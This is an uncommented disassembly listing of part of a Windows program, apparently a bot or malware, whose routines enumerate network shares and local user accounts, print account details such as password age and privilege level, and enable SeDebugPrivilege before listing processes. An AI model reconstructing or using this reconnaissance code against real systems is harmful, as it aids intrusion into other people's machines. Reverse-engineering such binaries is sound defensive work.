		call	sub_418C2A
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CAE70
		pop	esi
		retn
sub_418C6B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C8E	proc near		; CODE XREF: sub_401ACD+46B0p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_418C2A
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 18h

loc_418CC7:				; CODE XREF: sub_418C8E+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CAEE8
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_418D2A
		cmp	ebx, 0EAh
		jz	short loc_418D2A
		push	ebx
		push	ebx
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_4390D0
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 24h
		jmp	short loc_418D97
; ---------------------------------------------------------------------------

loc_418D2A:				; CODE XREF: sub_418C8E+5Dj
					; sub_418C8E+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_418D8E
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]

loc_418D38:				; CODE XREF: sub_418C8E+FCj
		push	dword ptr [esi+10h]
		call	dword_4CAE8C
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_418D4F
		mov	eax, offset aNo	; "No"

loc_418D4F:				; CODE XREF: sub_418C8E+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_418D38
		xor	esi, esi

loc_418D8E:				; CODE XREF: sub_418C8E+A2j
		push	[ebp+var_4]
		call	dword_4CB034

loc_418D97:				; CODE XREF: sub_418C8E+9Aj
		cmp	ebx, 0EAh
		jz	loc_418CC7
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_418C8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DAF	proc near		; CODE XREF: sub_401ACD:loc_4061EEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_418E54
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_418DF1
		dec	eax
		jz	short loc_418DE6
		dec	eax
		jnz	short loc_418E0C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_418EF6
		add	esp, 14h
		jmp	short loc_418E08
; ---------------------------------------------------------------------------

loc_418DE6:				; CODE XREF: sub_418DAF+1Dj
		push	ebx
		push	edi
		call	sub_418ED5
		pop	ecx
		pop	ecx
		jmp	short loc_418E08
; ---------------------------------------------------------------------------

loc_418DF1:				; CODE XREF: sub_418DAF+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_418E05
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_418E7B
		add	esp, 0Ch
		jmp	short loc_418E08
; ---------------------------------------------------------------------------

loc_418E05:				; CODE XREF: sub_418DAF+45j
		push	57h
		pop	eax

loc_418E08:				; CODE XREF: sub_418DAF+35j
					; sub_418DAF+40j ...
		cmp	eax, edi
		jnz	short loc_418E2C

loc_418E0C:				; CODE XREF: sub_418DAF+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DAE20
		push	off_4389DC[eax*4]
		push	offset unk_439188
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418E74
; ---------------------------------------------------------------------------

loc_418E2C:				; CODE XREF: sub_418DAF+5Bj
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DAE20
		push	off_4389D8[eax*4]
		push	offset unk_439158
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418E74
; ---------------------------------------------------------------------------

loc_418E54:				; CODE XREF: sub_418DAF+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DAE20
		lea	eax, [eax+eax*2]
		push	off_4389D8[eax*4]
		push	offset unk_439130
		push	esi
		call	sub_41B886
		add	esp, 0Ch

loc_418E74:				; CODE XREF: sub_418DAF+7Bj
					; sub_418DAF+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418DAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E7B	proc near		; CODE XREF: sub_418DAF+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2A
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_418C2A
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CAE7C
		pop	edi
		leave
		retn
sub_418E7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418ED5	proc near		; CODE XREF: sub_418DAF+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2A
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CAE6C
		pop	esi
		retn
sub_418ED5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EF6	proc near		; CODE XREF: sub_418DAF+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4CAFFC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_41929E
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_4192D9
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419015
		dec	eax
		jz	short loc_41900E
		dec	eax
		jz	short loc_419007
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------

loc_419007:				; CODE XREF: sub_418EF6+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------

loc_41900E:				; CODE XREF: sub_418EF6+105j
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------

loc_419015:				; CODE XREF: sub_418EF6+102j
		mov	eax, offset aGuest ; "Guest"

loc_41901A:				; CODE XREF: sub_418EF6+10Fj
					; sub_418EF6+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41B886
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4192CA
; ---------------------------------------------------------------------------

loc_41929E:				; CODE XREF: sub_418EF6+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4391A8
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409A72
		add	esp, 20h

loc_4192CA:				; CODE XREF: sub_418EF6+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_4192D9
		push	[ebp+var_4]
		call	dword_4CB034

loc_4192D9:				; CODE XREF: sub_418EF6+40j
					; sub_418EF6+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_418EF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192DF	proc near		; CODE XREF: sub_401ACD+473Bp

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_418C2A
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 18h

loc_41931E:				; CODE XREF: sub_4192DF+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CAF04
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_41937F
		cmp	eax, 0EAh
		jz	short loc_41937F
		push	eax
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_439398
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 24h
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------

loc_41937F:				; CODE XREF: sub_4192DF+62j
					; sub_4192DF+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41940D
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_4193FA

loc_419391:				; CODE XREF: sub_4192DF+EDj
		cmp	edi, esi
		jz	short loc_4193D0
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_419391
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------

loc_4193D0:				; CODE XREF: sub_4192DF+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_439364
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 1Ch

loc_4193FA:				; CODE XREF: sub_4192DF+9Ej
					; sub_4192DF+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41940D
		push	edi
		call	dword_4CB034
		xor	edi, edi
		mov	[ebp+var_4], edi

loc_41940D:				; CODE XREF: sub_4192DF+A5j
					; sub_4192DF+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41931E
		cmp	edi, esi
		jz	short loc_419425
		push	edi
		call	dword_4CB034

loc_419425:				; CODE XREF: sub_4192DF+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4192DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41945F	proc near		; CODE XREF: sub_418A98+41p
					; sub_418C8E+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419511
		jz	loc_41950A
		cmp	eax, 7Bh
		ja	short loc_4194D6
		jz	short loc_4194CC
		cmp	eax, 5
		jz	short loc_4194C2
		cmp	eax, 8
		jz	short loc_4194B8
		cmp	eax, 32h
		jz	short loc_4194AE
		cmp	eax, 35h
		jz	short loc_4194A4
		cmp	eax, 57h
		jnz	loc_419560
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194A4:				; CODE XREF: sub_41945F+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194AE:				; CODE XREF: sub_41945F+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194B8:				; CODE XREF: sub_41945F+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194C2:				; CODE XREF: sub_41945F+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194CC:				; CODE XREF: sub_41945F+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194D6:				; CODE XREF: sub_41945F+1Aj
		sub	eax, 7Ch
		jz	short loc_419503
		sub	eax, 7C8h
		jz	short loc_4194FC
		dec	eax
		jz	short loc_4194F2
		dec	eax
		jnz	short loc_419560
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194F2:				; CODE XREF: sub_41945F+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194FC:				; CODE XREF: sub_41945F+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419503:				; CODE XREF: sub_41945F+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41950A:				; CODE XREF: sub_41945F+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419511:				; CODE XREF: sub_41945F+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_41954A
		jz	short loc_419543
		sub	eax, 8ADh
		jz	short loc_419575
		dec	eax
		dec	eax
		jz	short loc_41953C
		dec	eax
		jz	short loc_419535
		dec	eax
		dec	eax
		jnz	short loc_419560
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419535:				; CODE XREF: sub_41945F+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41953C:				; CODE XREF: sub_41945F+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419543:				; CODE XREF: sub_41945F+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41954A:				; CODE XREF: sub_41945F+B9j
		sub	eax, 8CAh
		jz	short loc_41957C
		sub	eax, 17h
		jz	short loc_419575
		sub	eax, 25h
		jz	short loc_41956E
		sub	eax, 29h
		jz	short loc_419567

loc_419560:				; CODE XREF: sub_41945F+35j
					; sub_41945F+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419567:				; CODE XREF: sub_41945F+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41956E:				; CODE XREF: sub_41945F+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419575:				; CODE XREF: sub_41945F+C2j
					; sub_41945F+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41957C:				; CODE XREF: sub_41945F+F0j
		push	offset aNetworkConnect ; "Network connection not found."

loc_419581:				; CODE XREF: sub_41945F+40j
					; sub_41945F+4Aj ...
		push	offset dword_4DABC0
		call	sub_41B886
		pop	ecx
		mov	eax, offset dword_4DABC0
		pop	ecx
		retn
sub_41945F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419593	proc near		; CODE XREF: sub_401ACD+4781p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D834
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		nop
		call	near ptr 26B0000h
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D817
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CAFB4
		test	eax, eax
		jnz	short loc_419623
		mov	esi, offset dword_4DA9BC
		push	offset unk_4396CC
		push	esi
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41964C
; ---------------------------------------------------------------------------

loc_419623:				; CODE XREF: sub_419593+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_41945F
		pop	ecx
		mov	esi, offset dword_4DA9BC
		push	eax
		push	offset dword_4396A0
		push	esi
		call	sub_41B886
		add	esp, 14h

loc_41964C:				; CODE XREF: sub_419593+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419593	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419651	proc near		; CODE XREF: sub_416F1A+45p
					; sub_416F1A+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		nop
		call	near ptr 270069Ah
		push	eax
		call	dword_4CAF88
		test	eax, eax
		jnz	short loc_419670
		leave
		retn
; ---------------------------------------------------------------------------

loc_419670:				; CODE XREF: sub_419651+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CAF60
		test	eax, eax
		jz	short loc_4196AE
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419697
		or	[ebp+var_8], 2
		jmp	short loc_41969B
; ---------------------------------------------------------------------------

loc_419697:				; CODE XREF: sub_419651+3Ej
		and	[ebp+var_8], 0FFFFFFFDh

loc_41969B:				; CODE XREF: sub_419651+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CB010
		mov	esi, eax

loc_4196AE:				; CODE XREF: sub_419651+32j
		push	[ebp+var_4]
		nop
		call	near ptr 26508EFh
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196BC	proc near		; CODE XREF: sub_401ACD+7915p
					; sub_4198EB+74p

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4CAFC4, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_4198BB
		cmp	dword_4CAFA8, ebx
		jz	loc_4198BB
		cmp	dword_4CAEB8, ebx
		jz	loc_4198BB
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CAFC4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_4198AE
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4CAFA8
		mov	esi, dword_427068
		test	eax, eax
